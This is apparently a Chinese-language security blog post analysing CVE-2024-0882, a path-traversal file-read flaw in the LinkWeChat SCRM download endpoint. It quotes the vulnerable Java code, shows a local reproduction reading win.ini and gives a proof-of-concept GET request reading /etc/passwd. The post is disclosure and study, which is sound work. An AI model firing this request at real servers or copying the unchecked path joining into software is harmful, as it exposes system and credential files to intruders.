CVE-2024-0882 Scrm LinkWeChat 任意文件读取漏洞分析与研究

漏洞描述

LinkWeChat 是基于企业微信的开源 SCRM 系统,是企业私域流量管理与营销的综合解决方案。

LinkWeChat 基于企业微信开放能力,不仅集成了企微强大的后台管理及基础的客户管理功能,而且提供了多种渠道、多个方式连接微信客户。并通过客情维系、聊天增强等灵活高效的客户运营模块,让客户与企业之间建立强链接,从而进一步通过多元化的营销工具,帮助企业提高客户运营效率,强化营销能力,拓展盈利空间。

主要运用于电商、零售、教育、金融、政务等服务行业领域。​​​​​​

开发语言:Java官网地址:https://www.linkwechat.net/项目地址:https://github.com/qwdigital/LinkWechat-Scrm
漏洞后端代码

文件位于

linkwe-auth\src\main\java\com\linkwechat\web\controller\common\CommonController.java

这个控制器下存在一个resourceDownload方法

java 复制代码
/**
 * 本地资源通用下载
 */
@GetMapping("/common/download/resource")
public void resourceDownload(String name, HttpServletRequest request, HttpServletResponse response) throws Exception {
    // 本地资源路径
    String localPath = LinkWeChatConfig.getProfile();
    // 数据库资源地址
    String downloadPath = localPath + StringUtils.substringAfter(name, Constants.RESOURCE_PREFIX);
    // 下载名称
    String downloadName = StringUtils.substringAfterLast(downloadPath, "/");
    response.setCharacterEncoding("utf-8");
    response.setContentType("multipart/form-data");
    response.setHeader("Content-Disposition",
            "attachment;fileName=" + FileUtils.setFileDownloadHeader(request, downloadName));
    FileUtils.writeBytes(downloadPath, response.getOutputStream());
}

String localPath = LinkWeChatConfig.getProfile();后得到一个本地目录,例如D:/linkWeChat/uploadPath

看看StringUtils.substringAfter 这个工具方法对我们的name值做了什么处理

注意传入的参数Constants.RESOURCE_PREFIX 是/profile

跟入StringUtils.substringAfter 方法

其要注意的是

else语句块代码用于从字符串 str 中获取分隔符 separator 后面的子字符串,就是说name值里面必须要有/profile

之后与localPath进行拼接 组成downloadPath,这里就可以尝试用../的方式进行拼接,具体怎么样,让我们往后看...

跟入StringUtils.substringAfterLast方法 得到downloadName 值

提取最后一个"/"出现的位置---pos

pos != -1成立与pos != str.length() - separator.length()成立 则会获取字符串str的第pos+1个字符到结尾的所有字符 返回赋值downloadName

之后执行FileUtils.setFileDownloadHeader 返回字符串,设置返回头,至此downloadName就没什么事了

我们重点分析FileUtils.writeBytes方法,

我们在new File的时候,如果filepath有../jdk底层会正确解析吗! 经过测试new File的确可以接受../的文件名可以正常被解析

漏洞本地漏洞复现

本次复现不同以往,此次使用本地代码运行验证改漏洞的存在

java 复制代码
public static void main(String[] args) throws IOException {
        String localPath = LinkWeChatConfig.getProfile();
        String filePath = "D:\\文档\\1.txt";
        OutputStream os = new FileOutputStream(new File(filePath));

        // 数据库资源地址
        String name = "/profile/../../../../../../../../../../windows/win.ini";
        String downloadPath = localPath + StringUtils.substringAfter(name, Constants.RESOURCE_PREFIX);
        // 下载名称
        String downloadName = StringUtils.substringAfterLast(downloadPath, "/");

        FileUtils.writeBytes(downloadPath, os);
/*        new SpringApplicationBuilder(LinkWeAuthApplication.class)
                .properties("spring.config.name:bootstrap", "config/run/bootstrap.yml")
                .properties("spring.application.name=linkwe-auth")
                .build().run(args);
        System.out.println("(♥◠‿◠)ノ゙  LinkWe-auth启动成功   ლ(´ڡ`ლ)゙ ");*/
    }

没有找到准备的test文件夹测试,索性直接注释掉启动代码,将resourceDownload方法内的代码搬过来。设置name值模拟用户输入

运行,如果不出意外,1.txt已经被写入win.ini的内容,与实际访问不同的是,服务器是以流的形式返回给用户

win.ini的确存在,漏洞验证成功。

附赠poc

GET /linkwechat-api/common/download/resource?name=/profile/../../../../../etc/passwd HTTP/1.1

Host:

Cookie: Admin-Token=[需要]

authorization: [需要]

后续修复

-----本次测试是LinkWechat-Scrm-5.1.0版本,漏洞作者验证这个版本漏洞存在。目前最新版没有对这个方法类做任何修改....但不确定name值在参数绑定前,过滤会怎么判断它......能否被利用需实际测试.......

相关推荐
张铁铁是个小胖子2 分钟前
MyBatis学习
java·学习·mybatis
hao_wujing43 分钟前
网络安全攻防演练中的常见计策
安全·web安全
Yan.love1 小时前
开发场景中Java 集合的最佳选择
java·数据结构·链表
椰椰椰耶1 小时前
【文档搜索引擎】搜索模块的完整实现
java·搜索引擎
大G哥1 小时前
java提高正则处理效率
java·开发语言
燕雀安知鸿鹄之志哉.1 小时前
攻防世界 web ics-06
网络·经验分享·安全·web安全·网络安全
智慧老师1 小时前
Spring基础分析13-Spring Security框架
java·后端·spring
lxyzcm1 小时前
C++23新特性解析:[[assume]]属性
java·c++·spring boot·c++23
Mitch3111 小时前
【漏洞复现】CVE-2015-5531 Arbitrary File Reading
web安全·elasticsearch·网络安全·docker·漏洞复现
V+zmm101342 小时前
基于微信小程序的乡村政务服务系统springboot+论文源码调试讲解
java·微信小程序·小程序·毕业设计·ssm